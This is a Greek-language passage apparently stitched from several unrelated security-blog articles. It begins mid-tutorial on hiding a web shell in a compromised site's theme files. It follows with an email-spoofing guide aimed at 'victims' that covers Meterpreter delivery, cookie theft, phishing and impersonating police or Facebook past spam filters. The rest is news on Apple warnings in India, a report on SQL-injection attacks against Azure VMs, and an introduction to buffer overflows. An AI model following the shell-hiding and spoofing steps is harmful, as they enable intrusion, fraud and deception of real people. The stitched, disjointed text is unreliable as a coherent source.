Μπορείτε με τον παραπάνω τρόπο, απλά να βάλετε στο index.php τον κώδικα του shell, αλλα θα εμφανιστεί στην αρχική σελίδα και ολοι θα έχουν πρόσβαση… μπορείτε να βάλετε κάποιο shell το οποίο να προστατευετε με κωδικό έτσι να μπείτε εσεις μέσα να ανεβάσετε το shell με αλλο ονομα και να επαναφέρετε την αρχική σελίδα..έτσι δεν θα πάρει κανένας τίποτα ειδηση.
Φυσικά, μπορεί να μην το θέλετε αυτο, έτσι πάμε να δούμε έναν πιο εύκολο τρόπο!!
Πηγαίνουμε στην αρχική σελίδα και κάνουμε δεξί κλικ και προβολή κώδικα
Και μας εμφανίζει τον κώδικα της σελίδας, παραπάνω είπαμε ότι ήμαστε στα αρχεία του theme έτσι πρέπει να βρούμε το theme σε ποια διαδρομή είναι στο site.
Έτσι απλα πατάμε ctrl+f και μας ανοίγει ένα κουτάκι για την αναζήτηση και γράφουμε τη λέξη themes
Θα μας βγάλει πολλά, και σχεδόν όλα θα έχουν την ίδια διαδρομή, δηλαδή για παράδειγμα
Στις μέρες μας πολλοί άνθρωποι συνήθισαν πλέον να έχουν ένα προσωπικό τους Email για να μιλάνε με δικά τ ους πρόσωπα ακόμα και για να έχουν κάποια μέσα κοινωνικά δικτύωσης σκεφτήκατε ποτέ όμως ότι αυτό μπορεί να γίνει και ένα ολοζώντανο σενάριο Ηλεκτρονικής παραβίασης; Όχι φυσικά. Οπότε ας πάμε να το αναλύσουμε όσο ποιο πολύ μπορούμε.
Τι είναι ένα Email Spoofing? Ορισμός : Email spoofing είναι η δημιουργία των μηνυμάτων ηλεκτρονικού ταχυδρομείου με πλαστή διεύθυνση αποστολέα.
Ουσιαστικά οι spammers ηλεκτρονικού ταχυδρομείου που χρησιμοποιούν Email Spoofing για να ξεγελάσουν τα θύματά τους ώστε να πιστέψουν ότι ο αποστολέας είναι κάποιος, ο οποίος δεν είναι στην ουσία . Ένα παράδειγμα θα ήταν αν κάποιος στείλει ένα μια επίσημη φόρμα στο θύμα τους, ισχυρίζοντας ότι είναι από το Facebook, με σκοπό την κλοπή και παραπλάνηση του ατόμου.
Πόσα άτομα πέφτουν στην απάτη αυτή καθημερινά?
Μπορώ να σας πω ότι μέσα από την πείρα χρόνων που έχω τα άτομα τα οποία έχουν πέσει θύμα σε αυτές τις επιθέσεις ξεπερνάνε τις χιλιάδες σε παγκόσμια εμβέλεια καθημερινός.
Για ποιους λόγους χρησιμοποιείτε το Email Spoofing?
1. Για να τους κάνετε να τρέξουν κάποιο κακόβουλο λογισμικό δικό σας ( Στην περίπτωση μου έκανα τα θύματα να τρέχουν Meterpreters ) 2. Να κάνουν επίσκεψη σε μία σελίδα που θέλετε εσείς ( Λογικά για τα Views Per Click η για να προσαρμόσετε κάποιο Cookie Stealer / Session Hijack ) 3. Να πληροφορήσετε το θύμα σας με εσφαλμένες πληροφορίες ( Π.Χ ότι κάποιος γνωστός τους απεβίωσε για δικούς σας λόγους πάντα ) 4. Ηλεκτρονικό Ψάρεμα / Υποκλοπές
Το Email spoofing είναι ένας ισχυρός σύμμαχος, αν χρησιμοποιηθεί σωστά μπορείτε να χειραγωγήσετε όποιον θέλετε.
Αυτά είναι τα 4 βασικά στοιχεία που αποτελούν την δομή του Email Spoofing.
Ας ξεκινήσουμε λοιπόν στην σύνθεση του.
Η γλώσσα PhP είναι μια πολύ δυνατή γλώσσα μέσω αυτής μπορούμε να δημιουργήσουμε έναν απλό τύπου Email Spoofing σε php και να το ανεβάσουμε σε κάποια σελίδα δικιά μας,το θέμα μας εδώ είναι ότι κάθε πράγμα που θα αποστείλουμε μέσω του Script θα πάει κατευθείαν στο Spam Folder λόγο του ότι το gmail έχει παραμέτρους για τέτοια Script και τα φιλτράρει οπότε θα βρούμε μια μέθοδο προσπέλασης ας αρχίσουμε λοιπόν.
Θα πρέπει να κάνουμε έναν λογαριασμό αρχικά στο ManDrill από εδώ
https://mailchimp.com/
Προτού πάω παρακάτω θα πω τι είναι το ManDrill.Tο ManDrill είναι ένα Web Based Email Spooder που μας επιτρέπει να αποστείλουμε Email χωρίς το φίλτρο να καταλάβει ότι είναι κακόβουλο το Script με αποτέλεσμα να πάει κατευθείαν στο inbox του προορισμό που ορίσαμε. Ας συνεχίσουμε λοιπόν.
Μόλις κάνετε τον λογαριασμό θα πάτε στην μπάρα πάνω στην αριστερή πλευρά σας και θα επιλέξετε την επιλογή “OutBound” και θα πατήσετε “Compose Message” για όσους δεν κατάλαβαν που πρέπει να πάτε παραθέτω και μία εικόνα
Αμέσως μετά θα σας λέει να συμπληρώσετε στοιχεία αποστολέα και email ακόμα και το μήνυμα θα σας εξηγήσω τι βάζετε ακριβώς. – Από Email / From Email : Η διεύθυνση ηλεκτρονικού ταχυδρομείου που θέλετε να εμφανίζεται από όπου προήλθε το email π.χ μπορείτε να βάλετε από της αστυνομίας η από όποιον οργανισμό θέλετε. – Για Email / Τo Email : η διεύθυνση ηλεκτρονικού ταχυδρομείου που θέλετε το μήνυμα σύνθεσής σας που πρόκειται να παραδοθεί π.χ στον φίλο σας. – Θέμα / Subject : Εδώ βάζετε καθαρά το Θέμα που θα έχει το μήνυμα π.χ ” Facebook Support ” – Και το μεγάλο λευκό κείμενο : Είναι για να κάνετε σύνταξη του μηνύματος που θέλετε να στείλετε στο θύμα σας.
Παραθέτω μια εικόνα για το πως είναι.
Το ποιο σημαντικό κομμάτι είναι να κάνετε το Email σας να είναι πραγματικό οπότε μην ξεχάσετε να εφαρμόσετε και μερικά HTML Elements τι εννοώ με αυτό; Μπορείτε να πλαστογραφήσετε ένα ολόκληρο μήνυμα που σας στείλανε και να το βάλετε στην φόρμα σας κανονικό περιεχόμενο με αλλαγμένους τους σύνδεσμους.
Παραθέτω μια εικόνα.
Μόλις τα έχετε όλα έτοιμα πατήστε ” Send / Αποστολή ”
Το μήνυμα θα έρθει στο θύμα μας μέσα σε μερικά λεπτά και θα είναι στο Inbox του.
Παραθέτω εικόνα του τελικού προϊόντος.
Τελευταίο και καλύτερο από όλα το ManDrill έχει την δυνατότητα να ξέρει πότε ο χρήστης έκανε κλίκ στο Email που το στείλαμε! Οπότε θα είστε ενημερωμένη πάντα αν το έλαβε και αν το διάβασε και δεν έπεσε θύμα.
Πολιτικές Εντάσεις: Πώς η Apple Αντιμετωπίζει Κατηγορίες για Χακάρισμα στην Ινδία
Προειδοποιήσεις τον Οκτώβριο προς ινδικούς αξιωματούχους της αντιπολίτευσης ότι υπάρχει πιθανότητα να έχουν χακαριστεί τα τηλέφωνά τους από κυβερνητικούς χάκερς, οδήγησαν την κυβέρνηση του πρωθυπουργού Ναρέντρα Μόντι να ζητήσει από την αμερικανική εταιρεία να ελαχιστοποιήσει τον πολιτικό αντίκτυπο των προειδοποιήσεων, αναφέρει το Washington Post.
Οι εκπρόσωποι της Apple στην Ινδία κλήθηκαν από αξιωματούχους της κυβέρνησης, οι οποίοι απαίτησαν από την εταιρεία να βοηθήσει στην αποδυνάμωση της πολιτικής επίδρασης των προειδοποιήσεων, αναφέρει η εφημερίδα, επικαλούμενη τρεις ανωνύμους πηγές.
Ένας ειδικός ασφαλείας της Apple κλήθηκε επίσης από το εξωτερικό σε μια συνάντηση στο Νέο Δελχί και πιέστηκε να παράσχει εναλλακτικές εξηγήσεις για τις προειδοποιήσεις, λέει η αναφορά.
Η Apple και το Υπουργείο Ηλεκτρονικής και Πληροφορικής της Ινδίας δεν ανταποκρίθηκαν άμεσα σε αίτημα για σχόλιο.
Η ινδική αντιπολίτευση κατηγορεί την κυβέρνηση του Μόντι ότι προσπαθεί να χακάρει τα τηλέφωνα υψηλόβαθμων αξιωματούχων της αντιπολίτευσης που δήλωσαν ότι έλαβαν προειδοποιητικά μηνύματα από την Apple.
Κατά τη διάρκεια εκείνης της περιόδου, μερικοί βουλευτές μοιράστηκαν στα social media στιγμιότυπα οθόνης μιας ειδοποίησης που παραθέτει την Apple ως λέγοντας: “Η Apple πιστεύει ότι είστε στο στόχαστρο κυβερνούμενων επιτιθέμενων που προσπαθούν να παραβιάσουν απομακρυσμένα το iPhone που σχετίζεται με το Apple ID σας”.
Η Apple είχε προηγουμένως δηλώσει ότι δεν απέδωσε τις ειδοποιήσεις για απειλή σε “κανένα συγκεκριμένο χρηματοδοτούμενο από το κράτος επιτιθέμενο”.
Οι χάκερς στοχεύουν Azure cloud VMs μέσω παραβιασμένων διακομιστών SQL
Οι χάκερς έχουν παρατηρηθεί να προσπαθούν να παραβιάσουν περιβάλλοντα cloud μέσω των Microsoft SQL Servers που είναι ευάλωτοι σε SQL injection.
Οι ερευνητές ασφαλείας της Microsoft αναφέρουν ότι αυτή η τεχνική πλευρικής κίνησης έχει παρατηρηθεί στο παρελθόν σε επιθέσεις σε άλλες υπηρεσίες όπως VMs και Kubernetes clusters.
Ωστόσο, είναι η πρώτη φορά που βλέπουν SQL Servers να αξιοποιούνται για αυτόν τον σκοπό.
Αλυσιδωτή επίθεση
Οι επιθέσεις που παρατήρησε η Microsoft ξεκινούν με την εκμετάλλευση μιας ευπάθειας έγχυσης SQL σε μια εφαρμογή στο περιβάλλον του στόχου.
Αυτό επιτρέπει στους φορείς απειλής να αποκτήσουν πρόσβαση στην παρουσία του SQL Server που φιλοξενείται στην εικονική μηχανή Azure με αυξημένα δικαιώματα για την εκτέλεση εντολών SQL και την εξαγωγή πολύτιμων δεδομένων.
Αυτά περιλαμβάνουν δεδομένα σχετικά με βάσεις δεδομένων, ονόματα πινάκων, σχήματα, εκδόσεις βάσεων δεδομένων, ρυθμίσεις δικτύου και δικαιώματα ανάγνωσης/εγγραφής/διαγραφής.
Εάν η παραβιασμένη εφαρμογή έχει αυξημένα δικαιώματα, οι επιτιθέμενοι μπορούν να ενεργοποιήσουν την εντολή ‘xp_cmdshell’ για την εκτέλεση εντολών του λειτουργικού συστήματος (OS) μέσω SQL, δίνοντάς τους ένα κέλυφος στον κεντρικό υπολογιστή.
Οι εντολές που εκτελούνται από τους επιτιθέμενους σε αυτό το στάδιο περιλαμβάνουν τις εξής:
Ανάγνωση καταλόγων, απαρίθμηση διεργασιών και έλεγχος κοινοτήτων δικτύου.
Λήψη κωδικοποιημένων και συμπιεσμένων εκτελέσιμων αρχείων και σεναρίων PowerShell.
Ρυθμίστε μια προγραμματισμένη εργασία για την εκκίνηση ενός backdoor script.
Ανάκτηση των διαπιστευτηρίων χρήστη με απόρριψη των κλειδιών μητρώου SAM και SECURITY.
Διασπάστε δεδομένα χρησιμοποιώντας μια μοναδική μέθοδο που περιλαμβάνει τη δωρεάν υπηρεσία “webhook.site”, η οποία διευκολύνει την επιθεώρηση και την αποσφαλμάτωση αιτημάτων HTTP και μηνυμάτων ηλεκτρονικού ταχυδρομείου.
Η χρήση μιας νόμιμης υπηρεσίας για την εκροή δεδομένων καθιστά τη δραστηριότητα λιγότερο πιθανό να φανεί ύποπτη ή να προκαλέσει προβλήματα στα προϊόντα ασφαλείας, επιτρέποντας στους επιτιθέμενους να κλέψουν διακριτικά δεδομένα από τον κεντρικό υπολογιστή.
Στη συνέχεια, οι επιτιθέμενοι επιχείρησαν να εκμεταλλευτούν την ταυτότητα cloud της παρουσίας του SQL Server για να αποκτήσουν πρόσβαση στο IMDS (Instant Metadata Service) και να αποκτήσουν το κλειδί πρόσβασης στην ταυτότητα cloud.
Στο Azure, στους πόρους συχνά εκχωρούνται διαχειριζόμενες ταυτότητες για τον έλεγχο ταυτότητας με άλλους πόρους και υπηρεσίες cloud. Εάν οι επιτιθέμενοι κατέχουν αυτό το κλειδί, μπορούν να το χρησιμοποιήσουν για να αποκτήσουν πρόσβαση σε οποιονδήποτε πόρο cloud, στον οποίο η ταυτότητα έχει δικαιώματα.
Η Microsoft αναφέρει ότι οι επιτιθέμενοι δεν κατάφεραν να αξιοποιήσουν επιτυχώς αυτή την τεχνική λόγω σφαλμάτων, αλλά η προσέγγιση παραμένει έγκυρη και αποτελεί τρομερή απειλή για τους οργανισμούς.
Τέλος, οι φορείς της απειλής διέγραψαν όλα τα σενάρια που κατέβασαν και έσβησαν τις προσωρινές τροποποιήσεις της βάσης δεδομένων για να σβήσουν τα ίχνη της επίθεσης.
Συμβουλές Προστασίας
Η Microsoft προτείνει τη χρήση του Defender for Cloud και του Defender for Endpoint για να εντοπίσετε τις ενέσεις SQL και την ύποπτη δραστηριότητα SQLCMD, που χρησιμοποιήθηκαν και οι δύο στην επίθεση που παρατηρήθηκε.
Για τον μετριασμό της απειλής, η Microsoft συνιστά την εφαρμογή της αρχής των λιγότερων προνομίων κατά τη χορήγηση δικαιωμάτων χρήστη, η οποία πάντα προσθέτει τριβή στις προσπάθειες πλευρικής μετακίνησης.
Το συγκεκριμένο άρθρο είναι το πρώτο μέρος μιας σειράς που θα περιγράψει την αδυναμία Buffer Overflow. Σε αυτό το πρώτο μέρος, θα δώσουμε την απαιτούμενη (στοιχειώδη) γνώση ή σε απλά Ελληνικά: “το απαιτούμενο background”, που χρειάζεται σε κάποιον, ώστε να μπορέσει κατανοήσει τον βαθύτερο λόγο που μπορεί να συμβεί μια τέτοια επίθεση, ώστε να μπορέσει να εφαρμόσει μέτρα (ακόμα και ο ίδιος) μήπως και καταφέρει να μειώσει την πιθανότητα υλοποίησης αυτής της απειλής.
Κάθε εφαρμογή που τρέχουμε στον υπολογιστή μας όσο απλή ή σύνθετη κι αν είναι γράφτηκε από κάποιον προγραμματιστή. Οι αρχές εκτέλεσης ενός προγράμματος είτε πρόκειται για το ίδιο το λειτουργικό σύστημα είτε για ένα ταπεινό πρόγραμμα πρόσθεσης δύο αριθμών είναι παρόμοιες ή σχεδόν παρόμοιες.
Πρώτα απ’ όλα έχουμε το πρόγραμμα που φτιάχνει ο προγραμματιστής το οποίο αποτελείται από εντολές κατανοητές μόνο από ανθρώπους και ονομάζεται πηγαίος κώδικας ή απλά κώδικας. Αυτός ο κώδικας λοιπόν περνάει από μια ειδική επεξεργασία από άλλα προγράμματα που ονομάζονται μεταφραστές (compilers) ή διερμηνευτές (interpreters) για να μεταφραστεί σε κάτι που είναι κατανοητό μόνο (μόνο; Χμ, τέλος πάντων) από τον επεξεργαστή του υπολογιστή μας.
Θα μας πείτε τώρα ποια η διαφορά ενός compiler από έναν interpreter. Χμ, αρκετά μεγάλη: Οι compilers μεταφράζουν όλο τον πηγαίο κώδικα και παράγουν ένα νέο πρόγραμμα που ονομάζεται εκτελέσιμο (το γνωστό exe ή com). Το εκτελέσιμο αρχείο αποτελείται από εντολές μηχανής (όπως λέγονται) και που αντιστοιχούν σε αυτές που γράφτηκαν στον πηγαίο κώδικα. Είναι αυτό το αρχείο που όταν εκτελεστεί θα υλοποιήσει τις εντολές του αντίστοιχου πηγαίου του κώδικα. Μεταγλωττιστές χρησιμοποιούνται συνήθως για να μεταφράσουν κώδικα σε γλώσσες όπως οι C, C++, Pascal, κλπ.
Οι διερμηνευτές (interpreters) από την άλλη, μεταφράζουν τον πηγαίο κώδικα εντολή-εντολή: Τον διαβάζουν στην μνήμη και τον εκτελούν (συνήθως) γραμμή – γραμμή. Δεν παράγουν (…πάντα) κάποιο εκτελέσιμο αρχείο, αφού ο ίδιος ο πηγαίος κώδικας μεταφράζεται και εκτελείτε εκείνη την χρονική στιγμή που διαβάζεται. Διερμηνευτές υπάρχουν για τις γνωστές γλώσσες ανάπτυξης web εφαρμογών όπως η PHP και η ASP.
Η κάθε μια προσέγγιση φυσικά έχει τα καλά της και τα κακά της: Συνήθως τα προγράμματα που έχουν προέλθει από κάποιον compiler είναι πολύ πιο γρήγορα και απαλλαγμένα από συντακτικά λάθη που μπορεί να έκανε ο προγραμματιστής όταν τα έφτιαχνε. Αυτό το τελευταίο ισχύει διότι η συντακτικός έλεγχος γίνεται όταν παράγεται το εκτελέσιμο και αν βρεθεί λάθος, εκτελέσιμο δεν έχει! 😉 Επίσης το εκτελέσιμο είναι (λέμε τώρα…!! πολύ δύσκολο να διαβαστεί από κάποιον τρίτο ο οποίος θα προσπαθήσει (για οποιονδήποτε λόγο) να «κλέψει» τον κώδικα που έγραψε ο προγραμματιστής. Από την άλλη μεριά τα προγράμματα που περνάνε από διερμηνευτές είναι πολύ πιο εύκολα στην συντήρηση, αφού δεν απαιτείται η διαδικασία του compilation (όπως λέγεται) ούτε και απαιτείται κάποιο ξεχωριστό εκτελέσιμο. Για μικρές αλλαγές στον κώδικα είναι ιδανικά και γρήγορα!
Υπάρχει όμως και μια τρίτη κατηγορία που βρίσκεται κάπου στη μέση. Πρόκειται για τις λεγόμενες εικονικές μηχανές (Virtual Machines – όχι δεν εννοούμε το VMWare ή το Virtual Box, μην το μπερδέψετε!) που παράγουν ένα ψευτο-εκτελέσιμο κώδικα (intermediate code), ο οποίος απαιτεί την ύπαρξη μιας «εικονικής μηχανής» για να τρέξει. Τέτοιες προσεγγίσεις έχουν φτιαχτεί για τις γλώσσες Java και για το γνωστό και μη εξαιρετέο Microsoft .Net. Βέβαια μη νομίζετε ότι αυτή η ιστορία είναι και τόσο πολύ καινούρια! Την 10ετία του 1980 υπήρχε το περίφημο P-System της Pascal, και είχαν φτιαχτεί γι’ αυτό ουκ-ολίγες εφαρμογές! Τα πλεονεκτήματα της virtual machine είναι η φορητότητα, η ασφάλεια κλπ. Για την ταχύτητα θα έλεγε κανείς ότι σίγουρα είναι καλύτερα από τον interpreter αλλά ίσως λίγο χειρότερα από τον compiler.
Ας έρθουμε όμως στην εκτέλεση του προγράμματος, που είναι και αυτό που μας ενδιαφέρει. Θα ασχοληθούμε με την εκτέλεση ενός προγράμματος που έχει μεταγλωττιστεί από κάποιον compiler χωρίς αυτό να σημαίνει ότι οι υπόλοιπες προσεγγίσεις (interpreters και virtual machines) διαφέρουν πολύ σε υλοποίηση. Να πούμε οτι σε αυτό το άρθρο (τουλάχιστον) για αναφερθούμε για λόγους απλότητας σε υλοποιήσεις που βασίζονται στους επεξεργαστές της Intel (AMD και συμβατούς) και σε αρχιτεκτονική 32-bit.
Κάθε πρόγραμμα που εκτελείται στην μνήμη του υπολογιστή μας χρησιμοποιεί τρία βασικά μέρη της μνήμης RAM:
Το μέρος του Κώδικα (code section).
Το μέρος των Δεδομένων (data section).
Το μέρος της Στοίβας (stack).
Πριν αναλύσουμε ένα-ένα τα μέρη αυτά θα θέλαμε να σας πούμε λίγα λόγια για την μνήμη. Η μνήμη του υπολογιστή είναι σαν τις κλειδοθήκες στην reception ενός ξενοδοχείου. Οι κλειδοθήκες λοιπόν, έχουν απ’ έξω γραμμένο ένα αριθμό που είναι ο αριθμός δωματίου και μέσα περιέχουν (ή δεν περιέχουν) το κλειδί. Έτσι ακριβώς λειτουργεί και η μνήμη του υπολογιστή μας: Περιέχει εκατομμύρια κουτάκια με νούμερα τα οποία νούμερα τα ονομάζουμε διευθύνσεις και μέσα σε αυτές φυλάσσονται τα δεδομένα μας. Κάθε κουτάκι μπορεί να δεχτεί συγκεκριμένου μεγέθους δεδομένα. Αν τα δεδομένα που θέλουμε να αποθηκεύσουμε στην μνήμη είναι πολλά (που σχεδόν πάντα είναι) τότε μοιράζονται σε πολλά κουτάκια. Όπως θα φαντάζεστε, πάρα πολλά κουτάκια παραμένουν άδεια διότι απλά δεν έχουν τοποθετηθεί ακόμα μέσα τους δεδομένα. Αυτό όμως δεν σημαίνει ότι δεν έχουν και διεύθυνση! Κρατήστε αυτές τις πληροφορίες διότι θα μας χρειαστούν παρακάτω.
Μέρος του Κώδικα (code section)
Σε αυτό το κομμάτι της μνήμης αποθηκεύονται όλες οι εντολές του προγράμματός μας. Κατά την διάρκεια εκτέλεσης του προγράμματος κανένα πρόγραμμα δεν μπορεί να γράψει δεδομένα σε αυτό το μέρος. Είναι μόνο για διάβασμα (Read Only).
Για παράδειγμα, όλες οι εντολές μηχανής που αντιστοιχούν στο παρακάτω κομμάτι πηγαίου κώδικα (σε γλώσσα C στο παράδειγμα μας) θα τοποθετηθούν στην μνήμη στο Code Section:
/* Θέσε τα στοιχεία της 1ης διαγώνιου ενός πίνακα 100×100 με 1, και τα υπόλοιπα με 0 */
for (i = 0; i < 100; i++)
for (j = 0; j < 100; j++)
if (i<>j)
a[i][j] = 0
else
a[i][j] = 1;
Τα σχόλια /*…*/ φυσικά δεν περιλαμβάνονται στον εκτελέσιμο κώδικα, δηλαδή δεν θα μεταφραστούν σε κώδικα μηχανής αφού αφορούν μόνο αυτόν που διαβάζει το πρόγραμμα και όχι τον επεξεργαστή που το εκτελεί.
Μέρος των Δεδομένων (data section)
Στο μέρος αυτό τοποθετούνται όλες οι καθολικές μεταβλητές (global variables) του προγράμματος μας. Καθολικές μεταβλητές είναι εκείνες που είναι προσβάσιμες από όλες τις συναρτήσεις (functions) και τα υποπρογράμματα (procedures) του τρέχοντος προγράμματος. Εδώ, μπορεί να γράψει και φυσικά να διαβάσει δεδομένα το πρόγραμμα μας (non Read-Only). Για παράδειγμα, οι παρακάτω μεταβλητές i, j και a θα τοποθετηθούν στο data section:
int i;
int j=0;
int a[100][100];
Μέρος της Στοίβας (stack)
Όλες οι τοπικές μεταβλητές, δηλαδή αυτές που δηλώνονται στις συναρτήσεις ή στα υπο-προγράμματα καθώς επίσης και κάποιες διευθύνσεις μνήμης που χρησιμοποιεί το πρόγραμμα μας καταχωρούνται στην λεγόμενη στοίβα. Το μέρος αυτό της μνήμης αποτελεί στην πραγματικότητα μια δομή δεδομένων τύπου στοίβας. Για να γίνει κατανοητή η δομή αυτή θα αναφέρουμε το κλασικό παράδειγμα με τα πιάτα: Σκεφτείτε ότι πρέπει να πλύνουμε 10 πιάτα. Καθώς τα πλένουμε ένα-ένα τα τοποθετούμε σε μια στοίβα, το ένα επάνω στο άλλο. Μόλις τελειώσουμε και θέλουμε να τα σκουπίσουμε (λέμε τώρα…!) τότε θα πάρουμε πρώτα εκείνο που μπήκε τελευταίο στην στοίβα. Η μέθοδος αυτή που χρησιμοποιούμε την στοίβα ονομάζεται Last In First Out (LIFO) και πρόκειται για μια πολύ συνηθισμένη “κατάσταση” στον προγραμματισμό (και όχι μόνο – απ’ όσο είδαμε και στο παράδειγμα μας…). Το κύριο χαρακτηριστικό της είναι πως το στοιχείο που μπαίνει τελευταίο, βγαίνει πρώτο.
Να πούμε οτι σε αυτό το μέρος της μνήμης επιτρέπεται το γράψιμο, δηλαδή είναι κι αυτό (όπως και το data segment) Writable. Αντί για… πιάτα όμως, το πρόγραμμα μας τοποθετεί εδώ της μεταβλητές που χρησιμοποιούμε στις συναρτήσεις του προγράμματος μας. Βέβαια, πρέπει να έχει ένα τρόπο να γνωρίζει ποια μεταβλητή είναι η τελευταία στην στοίβα, αυτή δηλαδή που θα ληφθεί πρώτη, όταν χρειαστεί. Για να το γνωρίζει αυτό, χρησιμοποιεί έναν από τους λεγόμενους δείκτες. Σκεφτείτε τους δείκτες σαν θέσεις μνήμης αλλά μέσα στον επεξεργαστή: άμεσα και γρήγορα προσβάσιμους. Ο δείκτης που χρησιμοποιείται για να ξέρουμε ποιο είναι το τελευταίο στοιχείο (μεταβλητή) της στοίβας ονομάζεται Δείκτης Στοίβας (extended stack pointer – ESP ή σκέτο SP). Στην πραγματικότητα ο ESP κρατάει την διεύθυνση της μεταβλητής που βρίσκεται κάθε στιγμή στην κορυφή της στοίβας.
Στην στοίβα μπορούμε να βάζουμε (push) ή να παίρνουμε (pop) στοιχεία κατά βούληση. Είναι πολύ σημαντικό να γνωρίζετε δυο μικρά μυστικά:
Εξ’ αιτίας της αρχιτεκτονικής του 32μπιτου επεξεργαστή της Intel (ή των συμβατών με αυτόν όπως o AMD), οι μεταβλητές που καταχωρούνται αποτελούνται από μέρη των 4ων ψηφίων ή αλλιώς των 4ων bytes. Γιατί; Διότι το bus είναι 32 bits (binary digits). Στα 32 bits χωράνε 4 bytes αφού το 1 byte = 8 bits, 4 x 8 = 32bits.
Η στοίβα αυξάνεται προς τα κάτω. Δηλαδή ξεκινάει από ψηλές διευθύνσεις στην μνήμη και όσο βάζουμε στοιχεία αυτή “μεγαλώνει” τόσο “κατεβαίνει” προς τα κάτω. Δείτε για παράδειγμα το εξής:
Έστω οτι ο καταχωρητής SP = 256. Δείχνει, δηλαδή, στο κουτάκι 256 στην μνήμη. Αν δώσουμε την εντολή “push 34” (βάλε στο stack το 34) τότε ο ΕSP αυτόματα θα μειωθεί κατά 4 και θα γίνει 252 και στο κουτάκι 256 θα μπει ο αριθμός 34.
Έχουμε λοιπόν:
PUSH 34
Διεύθυνση
Τιμή
256
34
252
248
…
ESP=256
Αν μετά δώσουμε την εντολή:
PUSH 50
θα έχουμε:
Διεύθυνση
Τιμή
256
34
252
50
248
…
ESP=248
Για να πάρει το πρόγραμμα μας από το stack, θα δώσει την εντολή:
POP Χ
Αυτό σημαίνει οτι ο επεξεργαστής θα πάρει από το STACK την πρώτη τμή και θα την απονείμει στην μεταβλητή Χ και αμέσως μετά ο ESP θα γίνει 252 και η μεταβλητή Χ θα έχει την τιμή 34.
Εδώ, να αναφέρουμε ένα μικρό μυστικό. Αν θέλαμε να πάρουμε από το STACK την τιμή 50 και όχι την 34 τότε θα έπρεπε να δώσουμε δύο φορές POP αφού δεν έχουμε κατευθείαν πρόσβαση στο 50. Δηλαδή:
POP Χ
POP Χ Εδώ, το Χ θα έχει την τιμή 50 και ο ESP=248.
Πως εκτελούνται οι εντολές (instructions)
Για να καταλάβουμε αυτή την λειτουργία πρέπει πρώτα να μιλήσουμε για ένα καταχωρητή: Τον EIP (Extended Instruction Pointer ή απλά Instruction Pointer). Οι καταχωρητές είναι ακριβώς όπως και οι δείκτες που αναφέραμε πιο πάνω: Είναι θέσεις μνήμης μέσα στον επεξεργαστή και χρησιμοποιούνται από αυτόν για να εκτελεί της εντολές των προγραμμάτων μας. Αυτός ο καταχωρητής χρησιμοποιείται για να “κρατάει” πάντα την διεύθυνση που βρίσκεται η επόμενη προς εκτέλεση εντολή του προγράμματος μας. Για να εκτελέσει ο επεξεργαστής μια εντολή, διαβάζει από τον EIP την διεύθυνση της, πάει σε αυτήν την διεύθυνση και διαβάζει την εντολή, την εκτελεί και καταχωρεί στον EIP την επόμενη προς εκτέλεση εντολή, κοκ. Πώς όμως ο επεξεργαστής μας θα βρει ποια είναι η επόμενη προς εκτέλεση εντολή ώστε να την καταχωρήσει στον EIP; Χμ… εδώ πρέπει να διακρίνουμε δυο περιπτώσεις:
Η επόμενη εντολή προς εκτέλεση βρίσκεται αμέσως μετά την προηγούμενη.
Να έχουμε μια περίπτωση jump δηλαδή να υπάρχει (για παράδειγμα) μια συνάρτηση που καλείται προς σε ένα άλλο σημείο του προγράμματος και θα πρέπει ο επεξεργαστής μας να “πηδήσει” σε εκείνο το σημείο, ή αλλιώς σε εκείνη την διεύθυνση της μνήμης και να εκτελέσει τις εντολές εκεί.
Στην περίπτωση 1 τα πράγματα είναι απλά: Η διεύθυνση υπολογίζεται ως εξής: προσθέτουμε στον EIP το μήκοςτης τρέχουσας εντολής που εκτελέστηκε. Το αποτέλεσμα μιας τέτοιας πράξης θα είναι η διεύθυνση της αμέσως επόμενης εντολής. Για να το καταλάβετε αυτό, δείτε το εξής μικρό πρόγραμμα δύο εντολών:
100 push EDX 101 mov ESP 0
Η εντολή στην διεύθυνση 100 βάζει στο stack την τιμή του καταχωρητή EDX (αυτός είναι ένας καταχωρητής γενικής χρήσης – τον έχουμε σαν… πρόχειρο). Η εντολή στην διεύθυνση 101 δίνει στο δείκτη ESP την τιμή 0. Όταν ο επεξεργαστής μας εκτελεί την εντολή στην διεύθυνση 100 τότε θα “σκεφτεί” τα εξής:
Είναι κάποιο jump; Όχι, άρα υπολογίζω το μέγεθος της εντολής στην διεύθυνση 100 που έχω. Έστω οτι είναι 1 byte. Άρα η επόμενη εντολή προς εκτέλεση πρέπει να βρίσκεται στην διεύθυνση 100 + 1 = 101. Άρα βάζω στον EIP το 101.
Απ’ ότι καταλάβατε εδώ, κάθε εντολή – instruction (push, mov κλπ) καταλαμβάνει μνήμη και άρα έχει και κάποιο μέγεθος. Όλες οι εντολές δεν έχουν το ίδιο μέγεθος. Άλλες μπορεί να είναι 1 byte άλλες 2 άλλα 4 κοκ.
Υπάρχει βέβαια και η πιο σύνθετη περίπτωση: Η περίπτωση JUMP, δηλαδή η περίπτωση που το πρόγραμμα μας συνεχίζεται σε μια άλλη διεύθυνση πολύ πιο… “μακρινή” από την αμέσως επόμενη στη σειρά. Αυτό μπορεί να συμβεί (όπως είπαμε) όταν το πρόγραμμα καλεί μια συνάρτηση ή ένα άλλο υποπρόγραμμα. Στην πράξη γίνεται το εξής: Πριν εκτελεστεί η εντολή JUMP ο επεξεργαστής μας κρατάει την αμέσως επόμενη εντολή (αυτή που θα βρίσκεται μετά το jump) και την τοποθετεί σε ένα καταχωρητή γενικής χρήσης, ας πούμε τον EDX. Αμέσως μετά πάει στην διεύθυνση που του λέει το JUMP (Π.χ. JUMP 35456) και εκτελεί τις εντολές που βρίσκονται εκεί μία προς μία, μέχρι να συναντήσει το τέλος της συνάρτησης (που ορίζεται με μια εντολή RET, δηλαδή return), τότε απλά γράφει στο EIP το περιεχόμενο που είχε καταχωρήσει στον EDX. Κατά συνέπεια το πρόγραμμα συνεχίζει από την επόμενη εντολή που είχε σταματήσει για κάνει το jump. Η διαδικασία του JUMP υλοποιείται από το πρόγραμμα με την χρήση 2 εντολών: της CALL και της RET. H CALL μεταφέρει την λειτουργικότητα του προγράμματος σε μια άλλη (μακρινή) διεύθυνση και η RET δηλώνει το τέλος της σειράς των εντολών που βρίσκονται σε αυτήν την άλλη διεύθυνση ώστε να ξέρει πότε να σταματήσει (ή όπως λέμε να επιστρέψει) ο επεξεργαστής από την εκτέλεση των εντολών σε αυτή την περιοχή της μνήμης.
Δείκτης Βάσης – base pointer (EBP)
